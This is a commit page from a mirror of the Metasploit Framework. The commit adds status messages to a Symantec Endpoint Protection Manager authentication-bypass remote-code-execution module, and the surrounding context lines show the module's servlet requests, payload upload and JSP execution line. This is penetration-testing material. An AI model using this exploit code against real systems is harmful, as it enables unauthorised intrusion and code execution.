infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

add some status lines

bug/bundler_fix
Brandon Perry 2015-08-02 15:03:59 -05:00
parent fe20bc88ad
commit a534008ba6
1 changed files with 5 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
modules/exploits/windows/http/sepm_auth_bypass_rce.rb
View File

@ -61,6 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote
meterp = Rex::Text.rand_text_alpha(10) meterp = Rex::Text.rand_text_alpha(10)
jsp = Rex::Text.rand_text_alpha(10) jsp = Rex::Text.rand_text_alpha(10)
print_status("Getting cookie")
res = send_request_cgi({ res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST', 'method' => 'POST',
@ -81,6 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote
<%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %> <%=SemLaunchService.getInstance().execute("CommonCMD", Arrays.asList("/c", System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\#{meterp}.exe")) %>
} }
print_status("Uploading payload...")
send_request_cgi({ send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST', 'method' => 'POST',
@ -95,6 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote
'ctype' => '' 'ctype' => ''
}) })
print_status("Uploading JSP page to execute the payload...")
send_request_cgi({ send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'), 'uri' => normalize_uri(target_uri.path, 'servlet', 'ConsoleServlet'),
'method' => 'POST', 'method' => 'POST',
@ -109,6 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote
'ctype' => '' 'ctype' => ''
}) })
print_status("Executing payload. Manual cleanup will be required.")
send_request_cgi({ send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp") 'uri' => normalize_uri(target_uri.path, "#{jsp}.jsp")
}) })